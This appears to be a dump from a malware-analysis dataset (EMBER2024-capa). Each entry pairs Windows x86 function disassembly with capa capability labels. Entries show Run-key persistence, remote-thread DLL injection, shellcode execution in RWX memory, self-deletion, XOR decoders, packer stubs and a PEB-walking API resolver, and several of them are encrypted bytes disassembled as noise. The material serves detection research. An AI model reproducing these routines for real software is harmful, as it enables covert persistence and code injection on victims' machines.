joyce8/EMBER2024-capa huggingface dataset:
Function at 0x68f013a5
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x68f014e1
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x68f01614
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x68f0165a
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x68f016a3
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x68f016a0
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x68f016a3
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x68f01c60
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x68f0603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x68f06034]
sub esp, 4
test ebx, ebx
je 0x68f01cab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x68f01ca4
test esi, esi
je 0x68f01ca4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x68f01c80
mov dword [esp], 0x68f0603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x68f01e90
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x68f0425c
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x68f01ee0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x68f01fb8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x68f01f1e
cmp eax, 4
jne 0x68f01f40
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x68f01f2e
cmp edx, 4
je 0x68f01f2e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.68f01e90
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403910
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040fe], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404670], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x404604], eax
mov dword [0x4040f6], eax
mov dword [0x4045f0], 0x30
mov dword [0x4045f4], 2
jmp 0x403955
mov dword [0x4045f8], 0x402f69
mov dword [0x4045fc], 0
mov dword [0x404600], 0
mov dword [0x404618], 0x404564
mov dword [0x404610], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x404608], eax
mov dword [0x40461c], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x40460c], eax
push 0x4045f0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x4040f6]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.asdlkjalsdj_ai8
push str.first
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404668], eax
push 5
push dword [0x404668]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404668]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404620]
jmp 0x403a29
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a1b
mov eax, dword [0x404628]
jmp 0x403a44
call 0x402a90
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x8de154
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8de15a
pop ebp
sub ebp, 6
sub ebp, 0x4de154
jmp 0x8de1b8
jmp 0x8de1c1
mov eax, 0x4de154
add eax, ebp
add eax, 0x93
mov ecx, 0x629
mov edx, 0xf19c4457
xor byte [eax], dl
inc eax
dec ecx
jne 0x8de1d8
jmp 0x8de1eb
cmp eax, 0x47573f17
push edi
push edi
aas
push edi
wait
jnp 0x8de24e
xchg edi, eax
pop es
test al, 0xc2
imul esi, dword [esi + 0x13], 0x57
pop es
fcomp qword [edx + 0x576bdedc]
push edi
push edi
salc
xchg esi, eax
scasd eax, dword es:[edi]
push edi
push edi
push edi
push esp
lcall 0xed57, 0x575751ef
jg 0x8de270
push edi
push edi
mov al, byte [0xdc9f54b5]
salc
pop ebx
push edi
push edi
push edi
push esp
xchg edx, eax
pop es
aas
pop edx
popal
pop esi
push edi
aas
adc bh, ah
adc edx, dword [edi + 0x56]
jnp 0x8de2a8
aas
push edi
push edi
push edi
push edi
mov edi, 0x57575752
mov esi, 0x5757577d
add bl, dl
cmp esi, dword [ebx + 0x57]
invalid
push edi
fadd st(2), st(0)
pop ebx
push edi
push edi
push edi
invalid
jae 0x8de2c5
push edi
push edi
push edi
aas
pop edx
popal
pop esi
push edi
aas
adc bh, ah
adc edx, dword [edi + 0x56]
jnp 0x8de2f5
push es
mov edi, 0x57575752
mov esi, 0x57575516
add bl, dl
cmp esi, dword [ebx + 0x57]
test al, 0x22
pop ebx
test al, 0x22
pop edi
mov edi, 0x57575725
fsub st(2), st(0)
pop edi
push edi
push edi
push edi
salc
cmpsb byte [esi], byte es:[edi]
in al, 0x88
adc dl, byte [ecx - 0x771b592a]
xchg ecx, eax
salc
cmpsb byte [esi], byte es:[edi]
in al, 0x88
adc dl, byte [ecx - 0x7a9b619c]
aam 0xbf
push edx
pop ds
pop eax
rcr dword [ecx], cl
push edi
push edi
push edi
pop eax
fistp word [edi]
push edi
push edi
push edi
xor esp, ebx
dec ebx
outsb dx, byte [esi]
xlatb
lodsb al, byte [esi]
mov edi, 0x574dd358
push edi
push edi
xlatb
lodsb al, byte [esi]
mov esi, 0x5746d358
push edi
push edi
xor esi, edx
lodsb al, byte [esi]
test al, 0x72
pop eax
rol dword [edx + 0x57], cl
push edi
push edi
push ss
mov esi, 0xa8a8a89b
jle 0x8de307
outsb dx, byte [esi]
push esi
aam 0x96
push edx
aam 0xbf
push ebx
mov esi, 0xa8a8a8ea
jle 0x8de2fe
ljmp 0x6e03:0x7ea8a8a8
outsb dx, byte [esi]
push ebp
aam 0x96
xchg esi, eax
push ecx
aam 0xbd
push ebx
aam 0xbf
push edx
mov esi, 0xa8a8a8fc
or dl, byte [ebp - 0x23fda8a5]
cld
test al, 0xa8
test al, 0xa
xchg ebp, eax
pop ebx
push edi
add bl, ah
mov ebx, 0xdc020001
and bl, byte [ebx - 0x24]
sub bl, byte [edi - 0x55]
in eax, 0xd7
fst qword [ecx - 0x2a]
xchg ecx, eax
push esi
push edi
push edi
push edi
fist word [eax - 0x2a]
nop
push esi
push edi
push edi
push edi
in al, dx
push ebp
push edi
push edi
push edi
push ebp
test dword [eax - 0x2e], ebx
push edx
push edi
push edi
push edi
fld qword [ecx + 0x11]
inc ebp
test dword [eax - 0x2c], ebx
invalid
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x67b2af6
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x1461268e
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x405850
Capabilities:
Resolve function by parsing pe exports

Disassembly:
nop
cld
jmp 0x405709
call 0x405a33
jmp 0x40571e
nop
nop
jmp 0x40572d
pushal
nop
mov ebp, esp
in eax, 0xeb
invalid
xor edx, edx
nop
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
nop
jmp 0x405750
mov edx, dword [edx + 0x14]
nop
jmp 0x405760
xor edi, edi
movzx ecx, word [edx + 0x26]
jmp 0x405773
mov esi, dword [edx + 0x28]
jmp 0x405787
nop
jmp 0x405796
xor eax, eax
jmp 0x4057a9
lodsb al, byte [esi]
nop
cmp al, 0x61
nop
jmp 0x4057bb
jl 0x4057ce
jmp 0x4057cb
sub al, 0x20
nop
nop
jmp 0x4057da
ror edi, 0xd
nop
jmp 0x4057ed
add edi, eax
jmp 0x4057fa
dec ecx
nop
jne 0x405787
nop
jmp 0x40580d
push edx
jmp 0x405819
push edi
nop
jmp 0x40582a
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
nop
add eax, edx
nop
jmp 0x40583f
mov eax, dword [eax + 0x78]
test eax, eax
nop
jmp 0x40584f
je 0x4059fa
add eax, edx
nop
mov ecx, dword [eax + 0x18]
nop
push eax
jmp 0x40586a
mov ebx, dword [eax + 0x20]
nop
add ebx, edx
nop
jmp 0x405882
test ecx, ecx
je 0x4059f7
nop
jmp 0x40589c
nop
jmp 0x4058ad
xor edi, edi
dec ecx
nop
mov esi, dword [ebx + ecx*4]
nop
jmp 0x4058c4
add esi, edx
nop
xor eax, eax
jmp 0x4058d6
ror edi, 0xd
jmp 0x4058e7
lodsb al, byte [esi]
nop
jmp 0x4058f5
add edi, eax
jmp 0x405905
cmp al, ah
nop
jne 0x4058c7
nop
jmp 0x40591d
nop
add edi, dword [ebp - 8]
nop
jmp 0x405936
cmp edi, dword [ebp + 0x24]
jne 0x405882
nop
jmp 0x405952
pop eax
mov ebx, dword [eax + 0x24]
nop
add ebx, edx
nop
jmp 0x40596d
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
nop
add ebx, edx
mov eax, dword [ebx + ecx*4]
nop
add eax, edx
nop
jmp 0x40598d
mov dword [esp + 0x24], eax
nop
pop ebx
nop
jmp 0x4059a7
pop ebx
nop
jmp 0x4059bb
popal
nop
pop ecx
jmp 0x4059d1
pop edx
jmp 0x4059e5
push ecx
nop
jmp 0x4059f5
jmp eax
nop
pop eax
nop
pop edi
nop
jmp 0x405a0e
pop edx
nop
jmp 0x405a1e
mov edx, dword [edx]
jmp 0x405a2d
jmp 0x405760
inc ebx
xchg ecx, eax
cld
aas
inc ebx
das
dec ebx
daa
inc ecx
stc
aas
std
inc ebx
inc ebx
dec eax
xchg edx, eax
daa
clc
dec ebx
cmc
inc ebx
lahf
das
dec ecx
aaa
xchg ecx, eax
std
stc
inc eax
inc ebx
std
das
aaa
salc
salc
aaa
lahf
xchg ecx, eax
dec edx
inc ebx
aaa
wait
dec edx
cwde
cmc
xchg edx, eax
std
lahf
stc
xchg ecx, eax
jmp 0x4056f6

Function at 0x406fa0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
cmp dh, byte [ebp + 0xc]
xor edx, dword [ebp + 0x3b]
push edi
mov eax, esp
jbe 0x406fcc
add eax, 0x40f409be
add byte [edx + 0xf303c06], cl
invalid
retf
Function at 0x407ef0
Capabilities:
Encode data using xor

Disassembly:
xchg edi, eax
mov ebp, esp
sub byte [ebx + eax*4], dl
jge 0x407f09
cwde
jl 0x407f03
dec esi
inc ebp
adc byte [ecx - 0x62000000], bl
sahf
add byte [eax], cl
fcomp qword [0x40c230]
xchg edx, eax
sub byte [eax], bl
push ebx
xchg dword [ebp + 0x20], ebx
push esi
aas
xor dl, al
inc eax
add byte [edx - 0x78ace7d8], dl
pop ebp
and byte [esi + 0x3f], dl
ret 0x40
not byte [edi - 0x21]
mov bh, 0x89
sub edi, esp
mov ebx, eax
test ah, 5
xor eax, 0xdd447afb
inc ebp
or cl, bl
loopne 0x407f08
pop ebp
or bh, al
add dword [ecx], eax
push cs
add bh, cl
mov ecx, dword [ebp + 0xc]
or al, 8
lea eax, [ebp - 0x14]
push eax
push ecx
push edx
call dword [0x57c618]
fstp qword [ebp + 8]
add byte [ebp - 0x14], 0xdc
jne 0x407f7e
or byte [eax + 0x75dcec45], al
xor dl, al
inc eax
add byte [ebx - 0x1f20943c], al
test ah, 0xc3
jnp 0x407fcd
ret 0x40
lea esi, [ebx + 0x50]
cmp esi, ebx
jbe 0x407fc6
out dx, eax
inc ebp
in al, dx
fcomp qword [0x8a404930]
fnstsw ax
test ah, 0x44
jnp 0x407fba
fld qword [ebp - 0x14]
xchg dword [0x40c310], ecx
xchg esp, eax
inc ebp
lodsd eax, dword [esi]
push eax
sub esp, 8
fstp qword [esp]
call dword [0xd4c118]
fstp qword [ebp - 0xc]
fld qword [ebp + 0x7a]
fadd qword [0x3ac308]
sub al, 0xc4
or al, 0x4e
fmul qword [0x40c300]
call 0x44b580
mov esp, eax
and byte [0x88367f2b], dh
push cs
mov eax, dword [eax + ecx*4]
inc ecx
cmp esi, ebx
mov dword [ebp - 4], ecx
ja 0x407f47
lea esp, [eax - 0x1d]
cmp esi, eax
mov dword [0x88168a5c], eax
pop ss
mov dl, byte [esi]
mov byte [edi], dl
inc edi
scasb al, byte es:[edi]
cmp esi, eax
jns 0x407fc1
jmp 0x40801d
fld qword [ebp + 8]
mov dl, 0x1d
xor dl, al
daa
add bh, bh
hlt
xchg ebx, eax
inc ebp
adc byte [ebp + 0x454d1834], cl
mov ah, 0x85
sal byte [ebp + 3], 0xa6
jne 0x408029
add esp, dword [esi + 0x4d8bfc75]
adc al, 0x3b
jae 0x408047
mov ecx, dword [ebp + 0x14]
cmp esi, ebx
jae 0x408047
mov eax, dword [ebp + 0x10]
pop edi
neg eax
mov dword [ecx], eax
mov byte [ebx], 0
mov eax, ebx
pop esi
inc esi
mov esp, ebp
pop ebp
xchg cl, bh
stc
push ebp
or edi, dword [ebx]
outsb dx, byte [esi]
test eax, 0xdd3c7711
inc ebp
or byte [ebp - 0x788afbd], cl
cmp byte [edx - 0x24], dh
or eax, 0x4000f8
lea eax, [ebp - 0xc]
push eax
sub esp, 8
fst qword [eax + 0x1815ff24]
rol dword [eax], 0xdd
inc ebp
hlt
Function at 0x6ffc131e
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [ebp - 0x110], 0
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x6ffc1398
mov dword [esp], str.Error:_Cannot_open_the_registry_
call sym._puts
jmp 0x6ffc1425
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._lstrlenA_4
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x110]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x6ffc1408
mov dword [esp], str.Error:_Cannot_add_the_current_path_to_the_registry_
call sym._puts
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
jmp 0x6ffc1425
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov dword [esp], str.Success:_Added_to_the_registry_
call sym._puts
leave
ret
Function at 0x6ffc14b5
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6ffc1745
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x6ffc17c7
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret
Function at 0x6ffc1b50
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6ffc603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6ffc6034]
sub esp, 4
test ebx, ebx
je 0x6ffc1b9b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6ffc1b94
test esi, esi
je 0x6ffc1b94
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6ffc1b70
mov dword [esp], 0x6ffc603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6ffc1d80
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6ffc41ec
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6ffc1dd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6ffc1ea8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6ffc1e0e
cmp eax, 4
jne 0x6ffc1e30
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6ffc1e1e
cmp edx, 4
je 0x6ffc1e1e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6ffc1d80